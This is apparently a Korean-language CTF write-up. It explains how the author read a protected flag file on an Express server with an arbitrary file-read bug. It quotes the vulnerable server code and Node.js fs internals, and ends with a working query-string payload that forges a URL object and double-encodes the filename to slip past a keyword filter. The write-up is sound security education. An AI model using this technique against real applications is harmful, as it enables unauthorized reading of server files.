티스토리 뷰
문제 개요
문제 첫 페이지에 있는 링크를 클릭하면 위와 같은 페이지가 보입니다. file 파라미터에 /etc/passwd 를 입력하고 접속해보면 아래와 같이 /etc/passwd 파일의 내용이 출력되는 것을 알 수 있습니다.
다만 문제에서는 flag.txt 파일을 읽어와야했고, 주어진 소스코드에는 아래와 같이 flag 에 대한 필터링이 존재했습니다.
app.use((req, res, next) => {
if([req.body, req.headers, req.query].some(
(item) => {
//console.log(item);
console.log(JSON.stringify(item));
return item && JSON.stringify(item).includes("flag");
}
)) {
return res.send("bad hacker!");
}
next();
});
app.get("/", (req, res) => {
try {
console.log(req.query.file);
res.setHeader("Content-Type", "text/html");
res.send(fs.readFileSync(req.query.file || "index.html").toString());
}
catch(err) {
console.log(err);
res.status(500).send("Internal server error");
}
});
Express의 middleware 에서 flag 라는 문자열이 포함될 경우에 "bad hacker!" 라는 문자열이 페이지에 출력되도록 하고 있습니다.
언뜻보면 소문자 flag 만 검사하고 있어서 대문자를 섞어 쓰면 문제가 매우 쉽게 풀릴 것 같았습니다. 예를 들어 Flag.txt 와 같이 말이죠. 실제로 로컬호스트에서 주어진 소스코드를 구동해보면 flag.txt 파일의 내용이 출력되긴 합니다.
다만 원격 문제 서버에서는 이와 같은 풀이가 통하지 않았고, 서버에서는 파일을 찾을 수 없다는 듯이 500오류를 출력하기만 했습니다. 그리고 이에 대해서 문제 제작자에게 물어봤을 때 "NTFS 대소문자를 구별하지 않는 파일시스템을 사용하고 있어서 그렇다"라고 했습니다. 그럼 다른 방법으로 flag.txt 를 실행하게 해야한다는 것인데, 어떤 방법이 있는지는 현재 파일을 읽어오는 함수를 분석해야할 필요가 있어 보였습니다.
바로 아래 코드를 말이죠.
fs.readFileSync(req.query.file)
문제 풀이
정확한 소스코드는 아래 링크에서 찾아볼 수 있습니다.
https://github.com/nodejs/node/blob/v18.x/lib/fs.js#L464
우리가 파라미터로 넘기는 req.query.file 은 readFileSync 함수의 path 파라미터에 들어가게 됩니다.
그리고 다시 openSync의 함수에 들어갑니다.
// readFileSync 함수 내부에서 호출함
// fs.openSync(path, options.flag, 0o666);
function openSync(path, flags, mode) {
path = getValidatedPath(path);
const flagsNumber = stringToFlags(flags);
mode = parseFileMode(mode, 'mode', 0o666);
const ctx = { path };
const result = binding.open(pathModule.toNamespacedPath(path),
flagsNumber, mode,
undefined, ctx);
handleErrorFromBinding(ctx);
return result;
}
그리고 getValidatedPath(path) 가 보입니다. 해당 함수는 require('internal/fs/utils')에서 import 해오고 있습니다.
const getValidatedPath = hideStackFrames((fileURLOrPath, propName = 'path') => {
const path = toPathIfFileURL(fileURLOrPath);
validatePath(path, propName);
return path;
});
path 파라미터로 들어온 값인 fileURLOrPath 값을 toPathIfFileURL 함수에 넘깁니다.
function toPathIfFileURL(fileURLOrPath) {
if (!isURLInstance(fileURLOrPath))
return fileURLOrPath;
return fileURLToPath(fileURLOrPath);
}
그리고 fileURLOrPath 값이 URL 인스턴스인지 아닌지 체크하고 있습니다. URL인스턴스 인지는 어떻게 체크하고 있는걸까요?
function isURLInstance(fileURLOrPath) {
return fileURLOrPath != null && fileURLOrPath.href && fileURLOrPath.origin;
}
단순히 속성으로 href 와 origin 이 존재하는지 여부를 확인하고 있는 걸 알 수 있습니다. 그리고 당연히 문자열로 사용자가 파라미터로 넘기는 값은 URL instance가 아닌 단순 문자열이기 때문에 fileURLToPath 함수로 넘어가게 될 겁니다.
function fileURLToPath(path) {
if (typeof path === 'string')
path = new URL(path);
else if (!isURLInstance(path))
throw new ERR_INVALID_ARG_TYPE('path', ['string', 'URL'], path);
if (path.protocol !== 'file:')
throw new ERR_INVALID_URL_SCHEME('file');
return isWindows ? getPathFromURLWin32(path) : getPathFromURLPosix(path);
}
그럼 문자열로 들어온 path 값을 new URL 로 path 값을 URL 인스턴스로 만들어주고 마지막으로 path.protocol 이 file 프로토콜인지 확인하고, 운영체제에 따라서 getPathFromURLWin32 또는 getPathFromURLPosix 함수를 실행합니다.
문제 서버의 경우에는 Linux 이기 때문에 getPathFromURLPosix 함수를 추적해봅시다.
function getPathFromURLPosix(url) {
if (url.hostname !== '') {
throw new ERR_INVALID_FILE_URL_HOST(platform);
}
const pathname = url.pathname;
for (let n = 0; n < pathname.length; n++) {
if (pathname[n] === '%') {
const third = pathname.codePointAt(n + 2) | 0x20;
if (pathname[n + 1] === '2' && third === 102) {
throw new ERR_INVALID_FILE_URL_PATH(
'must not include encoded / characters'
);
}
}
}
return decodeURIComponent(pathname);
}
hostname이 있으면 오류가 나고, pathname을 url 디코딩하고 있는 것을 볼 수 있습니다.
그럼 결론적으로 단순 경로를 파라미터로 보내는 것으로는 flag.txt 파일을 절대 읽어볼 수 없기 때문에 URL 객체를 이용하는 방법을 써야한다는 것으로 결론이 납니다.
URL 인스턴스를 만들고 최종적으로 위 getPathFromURLPosix 함수에서 decodeURIComponent(pathname) 함수가 무사히 실행되도록 하기 위해서는 아래와 같은 조건을 만족해야 합니다.
1. href 속성의 값이 존재해야 함
2. origin 속성의 값이 존재해야 함
3. protocol 속성의 값이 file: 프로토콜이어야 함
4. hostname 이 공백이어야 함
5. pathname 이 flag.txt 이어야 함. 단, URL 더블 인코딩을 해서 필터링을 우회해야 함.
pathname의 경우에는 굳이 절대 경로로 쓸 필요 없는 것이 파일 이름만 쓰면 상대 경로로 접근하기 때문입니다.
그리고 URL 더블 인코딩을 해야하는 이유로는 Express 자체에서 우선 req.query.file 값을 URL 디코딩하고 해석하고 다시 getPathFromURLPosix 함수에서 URL 디코딩을 또 하기 때문에 더블 인코딩 방식을 쓸 수 있게 됩니다. 그리고 이 점 때문에 문자열에 flag 문자열이 들어가는 지 확인하는 코드를 우회할 수 있게 됩니다.
결론적으로 URL 파라미터 페이로드를 만들면 다음과 같습니다.
?file[href]=asdf&file[origin]=asdf&file[protocol]=file:&file[hostname]=&file[pathname]=%25%36%36lag.txt
이렇게 보내면 아래와 같이 flag 를 획득할 수 있습니다.
node js의 internal 함수를 분석해서 푸는 문제였기 때문에 매우 흥미로웠던 문제였습니다.
- 끝 -
'보안 > CTF' 카테고리의 다른 글
[corCTF2022] - [Forensics] whack-a-frog Writeup(문제풀이) (0) | 2022.08.14 |
---|---|
[corCTF2022] - [Web] jsonquiz Writeup(문제풀이) (0) | 2022.08.13 |
[corCTF2022] - [Web] msfrog-generator Writeup(문제풀이) (0) | 2022.08.11 |
[TFC CTF] - [web] TUBEINC Writeup(문제풀이) (0) | 2022.08.01 |
[TFC CTF] - [misc] PATTERN Writeup(문제풀이) (0) | 2022.08.01 |